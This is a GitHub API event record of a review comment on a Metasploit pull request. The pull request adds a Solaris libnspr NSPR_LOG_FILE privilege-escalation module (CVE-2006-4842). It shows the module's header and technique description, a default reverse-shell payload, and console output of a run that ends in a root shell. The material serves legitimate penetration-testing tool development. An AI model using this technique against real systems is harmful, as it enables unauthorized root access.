{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/216585091","pull_request_review_id":154097477,"id":216585091,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDIxNjU4NTA5MQ==","diff_hunk":"@@ -0,0 +1,219 @@\n+##\n+# This module requires Metasploit: https://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+class MetasploitModule < Msf::Exploit::Local\n+  Rank = ExcellentRanking\n+\n+  include Msf::Post::File\n+  include Msf::Post::Solaris::Priv\n+  include Msf::Post::Solaris::System\n+  include Msf::Post::Solaris::Kernel\n+  include Msf::Exploit::EXE\n+  include Msf::Exploit::FileDropper\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'           => 'Solaris libnspr NSPR_LOG_FILE Privilege Escalation',\n+      'Description'    => %q{\n+        This module exploits an arbitrary file write vulnerability in the\n+        Netscape Portable Runtime library (libnspr) on Solaris which allows\n+        users to gain root privileges.\n+\n+        libnspr versions prior to 4.6.3 allow users to specify a log file with\n+        the `NSPR_LOG_FILE` environment variable. The log file is created with\n+        the privileges of the running process, resulting in privilege escalation\n+        when used in combination with a SUID executable.\n+\n+        This module writes a shared object to the trusted library directory\n+        `/usr/lib/secure` and runs the specified SUID binary with the shared\n+        object loaded using the `LD_LIBRARY_PATH` environment variable.\n+\n+        This module has been tested successfully with libnspr version 4.5.1\n+        on Solaris 10u1 (01/06) (x86) and Solaris 10u2 (06/06) (x86).\n+      },\n+      'References'     =>\n+        [\n+          ['BID', '20471'],\n+          ['CVE', '2006-4842'],\n+          ['EDB', '2543'],\n+          ['EDB', '2569'],\n+          ['EDB', '2641'],\n+          ['URL', 'https://securitytracker.com/id/1017050'],\n+          ['URL', 'https://securitytracker.com/id/1017051'],\n+          ['URL', 'https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSPR'],\n+          ['URL', 'http://web.archive.org/web/20061118024339/http://labs.idefense.com:80/intelligence/vulnerabilities/display.php?id=418'],\n+          ['URL', 'http://web.archive.org/web/20061110164829/http://sunsolve.sun.com/search/document.do?assetkey=1-26-102658-1']\n+        ],\n+      'License'        => MSF_LICENSE,\n+      'Author'         =>\n+        [\n+          'iDefense',     # Discovery\n+          'Marco Ivaldi', # Exploit\n+          'Brendan Coles' # Metasploit\n+        ],\n+      'DisclosureDate' => 'Oct 11 2006',\n+      'Privileged'     => true,\n+      'Platform'       => ['solaris'],\n+      'Arch'           => [ARCH_X86, ARCH_X64, ARCH_SPARC],\n+      'Targets'        => [['Auto', {}]],\n+      'SessionTypes'   => ['shell', 'meterpreter'],\n+      'DefaultOptions' =>\n+        {\n+          'PAYLOAD'     => 'solaris/x86/shell_reverse_tcp',\n+          'WfsDelay'    => 10,\n+          'PrependFork' => true\n+        },\n+      'DefaultTarget'  => 0))\n+    register_options [\n+      # Some useful example SUID executables:\n+      # * /usr/bin/cancel\n+      # * /usr/bin/chkey\n+      # * /usr/bin/lp\n+      # * /usr/bin/lpset\n+      # * /usr/bin/lpstat\n+      # * /usr/lib/lp/bin/netpr\n+      # * /usr/sbin/lpmove\n+      OptString.new('SUID_PATH', [true, 'Path to suid executable (must be linked to a vulnerable version of libnspr4.so)', '/usr/bin/cancel']),\n+      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])\n+    ]\n+  end\n+\n+  def suid_bin_path\n+    datastore['SUID_PATH']\n+  end\n+\n+  def is_writable?(path)","path":"modules/exploits/solaris/local/libnspr_nspr_log_file_priv_esc.rb","position":87,"original_position":87,"commit_id":"d658ccf653171ce4e3d1e666c06f5b2454914b31","original_commit_id":"d658ccf653171ce4e3d1e666c06f5b2454914b31","user":{"login":"bcoles","id":434827,"node_id":"MDQ6VXNlcjQzNDgyNw==","avatar_url":"https://avatars2.githubusercontent.com/u/434827?v=4","gravatar_id":"","url":"https://api.github.com/users/bcoles","html_url":"https://github.com/bcoles","followers_url":"https://api.github.com/users/bcoles/followers","following_url":"https://api.github.com/users/bcoles/following{/other_user}","gists_url":"https://api.github.com/users/bcoles/gists{/gist_id}","starred_url":"https://api.github.com/users/bcoles/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcoles/subscriptions","organizations_url":"https://api.github.com/users/bcoles/orgs","repos_url":"https://api.github.com/users/bcoles/repos","events_url":"https://api.github.com/users/bcoles/events{/privacy}","received_events_url":"https://api.github.com/users/bcoles/received_events","type":"User","site_admin":false},"body":"It should probably live in a `Post::File` API. I was going to add it, but decided against it, because ~Windows~ reasons.","created_at":"2018-09-11T08:27:23Z","updated_at":"2018-09-11T08:27:23Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/10620#discussion_r216585091","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10620","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/216585091"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/10620#discussion_r216585091"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10620"}},"in_reply_to_id":216584804},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10620","id":214546557,"node_id":"MDExOlB1bGxSZXF1ZXN0MjE0NTQ2NTU3","html_url":"https://github.com/rapid7/metasploit-framework/pull/10620","diff_url":"https://github.com/rapid7/metasploit-framework/pull/10620.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/10620.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10620","number":10620,"state":"open","locked":false,"title":"Add Solaris libnspr NSPR_LOG_FILE Privilege Escalation module","user":{"login":"bcoles","id":434827,"node_id":"MDQ6VXNlcjQzNDgyNw==","avatar_url":"https://avatars2.githubusercontent.com/u/434827?v=4","gravatar_id":"","url":"https://api.github.com/users/bcoles","html_url":"https://github.com/bcoles","followers_url":"https://api.github.com/users/bcoles/followers","following_url":"https://api.github.com/users/bcoles/following{/other_user}","gists_url":"https://api.github.com/users/bcoles/gists{/gist_id}","starred_url":"https://api.github.com/users/bcoles/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcoles/subscriptions","organizations_url":"https://api.github.com/users/bcoles/orgs","repos_url":"https://api.github.com/users/bcoles/repos","events_url":"https://api.github.com/users/bcoles/events{/privacy}","received_events_url":"https://api.github.com/users/bcoles/received_events","type":"User","site_admin":false},"body":"Add Solaris libnspr NSPR_LOG_FILE Privilege Escalation module.\r\n\r\n        This module exploits an arbitrary file write vulnerability in the\r\n        Netscape Portable Runtime library (libnspr) on Solaris which allows\r\n        users to gain root privileges.\r\n\r\n        libnspr versions prior to 4.6.3 allow users to specify a log file with\r\n        the `NSPR_LOG_FILE` environment variable. The log file is created with\r\n        the privileges of the running process, resulting in privilege escalation\r\n        when used in combination with a SUID executable.\r\n\r\n        This module writes a shared object to the trusted library directory\r\n        `/usr/lib/secure` and runs the specified SUID binary with the shared\r\n        object loaded using the `LD_LIBRARY_PATH` environment variable.\r\n\r\n        This module has been tested successfully with libnspr version 4.5.1\r\n        on Solaris 10u1 (01/06) (x86) and Solaris 10u2 (06/06) (x86).\r\n\r\n\r\n## Verification\r\n\r\n\r\n- [ ] Start `msfconsole`\r\n- [ ] Get a session\r\n- [ ] `use exploit/solaris/local/libnspr_nspr_log_file_priv_esc`\r\n- [ ] `set SESSION [SESSION]`\r\n- [ ] `run`\r\n- [ ] You should get a new *root* session\r\n\r\n\r\n## Output\r\n\r\n  ```\r\n  msf5 > use exploit/solaris/local/libnspr_nspr_log_file_priv_esc \r\n  msf5 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > set session 1\r\n  session => 1\r\n  msf5 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > set lhost 172.16.191.196\r\n  lhost => 172.16.191.196\r\n  msf5 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > run\r\n\r\n  [*] Started reverse TCP handler on 172.16.191.196:4444 \r\n  [+] Created file /usr/lib/secure/libldap.so.5\r\n  [*] Writing '/tmp/.8ENHI80b/.z6luu3Y1JC.c' (166 bytes) ...\r\n  [*] Writing '/tmp/.8ENHI80b/.1hC6r9F' (175 bytes) ...\r\n  [*] Executing payload...\r\n  [+] Deleted /usr/lib/secure/libldap.so.5\r\n  [+] Deleted /tmp/.8ENHI80b/.z6luu3Y1JC.c\r\n  [+] Deleted /tmp/.8ENHI80b/.z6luu3Y1JC\r\n  [!] Tried to delete /usr/lib/secure/libldap.so.5, unknown result\r\n  [+] Deleted /tmp/.8ENHI80b/.1hC6r9F\r\n  [+] Deleted /tmp/.8ENHI80b\r\n\r\n  id\r\n  uid=0(root) gid=0(root)\r\n  uname -a\r\n  SunOS unknown 5.10 Generic_118844-26 i86pc i386 i86pc\r\n  ```\r\n","created_at":"2018-09-11T08:08:17Z","updated_at":"2018-09-11T08:27:23Z","closed_at":null,"merged_at":null,"merge_commit_sha":"9b6ac0bf09ca7eead297783ed674a05e022fbf7c","assignee":{"login":"h00die","id":752491,"node_id":"MDQ6VXNlcjc1MjQ5MQ==","avatar_url":"https://avatars3.githubusercontent.com/u/752491?v=4","gravatar_id":"","url":"https://api.github.com/users/h00die","html_url":"https://github.com/h00die","followers_url":"https://api.github.com/users/h00die/followers","following_url":"https://api.github.com/users/h00die/following{/other_user}","gists_url":"https://api.github.com/users/h00die/gists{/gist_id}","starred_url":"https://api.github.com/users/h00die/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h00die/subscriptions","organizations_url":"https://api.github.com/users/h00die/orgs","repos_url":"https://api.github.com/users/h00die/repos","events_url":"https://api.github.com/users/h00die/events{/privacy}","received_events_url":"https://api.github.com/users/h00die/received_events","type":"User","site_admin":false},"assignees":[{"login":"h00die","id":752491,"node_id":"MDQ6VXNlcjc1MjQ5MQ==","avatar_url":"https://avatars3.githubusercontent.com/u/752491?v=4","gravatar_id":"","url":"https://api.github.com/users/h00die","html_url":"https://github.com/h00die","followers_url":"https://api.github.com/users/h00die/followers","following_url":"https://api.github.com/users/h00die/following{/other_user}","gists_url":"https://api.github.com/users/h00die/gists{/gist_id}","starred_url":"https://api.github.com/users/h00die/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h00die/subscriptions","organizations_url":"https://api.github.com/users/h00die/orgs","repos_url":"https://api.github.com/users/h00die/repos","events_url":"https://api.github.com/users/h00die/events{/privacy}","received_events_url":"https://api.github.com/users/h00die/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":103436215,"node_id":"MDU6TGFiZWwxMDM0MzYyMTU=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/docs","name":"docs","color":"941E94","default":false},{"id":103436014,"node_id":"MDU6TGFiZWwxMDM0MzYwMTQ=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10620/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10620/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10620/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/d658ccf653171ce4e3d1e666c06f5b2454914b31","head":{"label":"bcoles:libnspr_nspr_log_file_priv_esc","ref":"libnspr_nspr_log_file_priv_esc","sha":"d658ccf653171ce4e3d1e666c06f5b2454914b31","user":{"login":"bcoles","id":434827,"node_id":"MDQ6VXNlcjQzNDgyNw==","avatar_url":"https://avatars2.githubusercontent.com/u/434827?v=4","gravatar_id":"","url":"https://api.github.com/users/bcoles","html_url":"https://github.com/bcoles","followers_url":"https://api.github.com/users/bcoles/followers","following_url":"https://api.github.com/users/bcoles/following{/other_user}","gists_url":"https://api.github.com/users/bcoles/gists{/gist_id}","starred_url":"https://api.github.com/users/bcoles/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcoles/subscriptions","organizations_url":"https://api.github.com/users/bcoles/orgs","repos_url":"https://api.github.com/users/bcoles/repos","events_url":"https://api.github.com/users/bcoles/events{/privacy}","received_events_url":"https://api.github.com/users/bcoles/received_events","type":"User","site_admin":false},"repo":{"id":4645948,"node_id":"MDEwOlJlcG9zaXRvcnk0NjQ1OTQ4","name":"metasploit-framework","full_name":"bcoles/metasploit-framework","owner":{"login":"bcoles","id":434827,"node_id":"MDQ6VXNlcjQzNDgyNw==","avatar_url":"https://avatars2.githubusercontent.com/u/434827?v=4","gravatar_id":"","url":"https://api.github.com/users/bcoles","html_url":"https://github.com/bcoles","followers_url":"https://api.github.com/users/bcoles/followers","following_url":"https://api.github.com/users/bcoles/following{/other_user}","gists_url":"https://api.github.com/users/bcoles/gists{/gist_id}","starred_url":"https://api.github.com/users/bcoles/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcoles/subscriptions","organizations_url":"https://api.github.com/users/bcoles/orgs","repos_url":"https://api.github.com/users/bcoles/repos","events_url":"https://api.github.com/users/bcoles/events{/privacy}","received_events_url":"https://api.github.com/users/bcoles/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/bcoles/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/bcoles/metasploit-framework","forks_url":"https://api.github.com/repos/bcoles/metasploit-framework/forks","keys_url":"https://api.github.com/repos/bcoles/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bcoles/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bcoles/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/bcoles/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/bcoles/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/bcoles/metasploit-framework/events","assignees_url":"https://api.github.com/repos/bcoles/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/bcoles/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/bcoles/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/bcoles/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bcoles/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bcoles/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/bcoles/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bcoles/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/bcoles/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/bcoles/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/bcoles/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/bcoles/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/bcoles/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/bcoles/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/bcoles/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/bcoles/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/bcoles/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/bcoles/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/bcoles/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bcoles/metasploit-framework/merges","archive_url":"https://api.github.com/repos/bcoles/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bcoles/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/bcoles/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/bcoles/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/bcoles/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/bcoles/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bcoles/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/bcoles/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/bcoles/metasploit-framework/deployments","created_at":"2012-06-13T03:38:42Z","updated_at":"2018-09-11T07:56:40Z","pushed_at":"2018-09-11T08:04:58Z","git_url":"git://github.com/bcoles/metasploit-framework.git","ssh_url":"git@github.com:bcoles/metasploit-framework.git","clone_url":"https://github.com/bcoles/metasploit-framework.git","svn_url":"https://github.com/bcoles/metasploit-framework","homepage":"http://www.metasploit.com/","size":395226,"stargazers_count":1,"watchers_count":1,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":null,"url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":1,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"117121b05835c7e4d585d34c8b1f200e449ff828","user":{"login":"rapid7","id":1013671,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMTM2NzE=","avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"node_id":"MDEwOlJlcG9zaXRvcnkyMjkzMTU4","name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMTM2NzE=","avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2018-09-11T08:25:18Z","pushed_at":"2018-09-11T08:08:18Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"https://www.metasploit.com/","size":357836,"stargazers_count":13455,"watchers_count":13455,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":7157,"mirror_url":null,"archived":false,"open_issues_count":580,"license":{"key":"other","name":"Other","spdx_id":null,"url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":7157,"open_issues":580,"watchers":13455,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10620"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/10620"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10620"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10620/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10620/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10620/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/d658ccf653171ce4e3d1e666c06f5b2454914b31"}},"author_association":"CONTRIBUTOR"}}
{"actor":{"display_login":"bcoles"}}